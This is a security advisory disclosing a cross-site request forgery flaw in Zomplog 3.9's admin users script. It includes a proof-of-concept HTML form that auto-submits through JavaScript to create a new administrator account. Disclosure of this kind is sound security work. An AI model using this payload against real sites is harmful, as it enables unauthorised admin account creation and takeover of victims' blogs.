Zomplog 3.9 – Cross-Site Request Forgery
Vulnerability ID: HTB22645 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zomplog.html Product: Zomplog Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/admin/users.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/users.php" method="post"> <input type="hidden" name="login" value="newuserlogin"> <input type="hidden" name="password" value="password"> <input type="hidden" name="password2" value="password"> <input type="hidden" name="admin" value="1"> <input type="submit" id="btn" name="submit" value="Submit ››"> </form> <script> document.getElementById('btn').click(); </script> |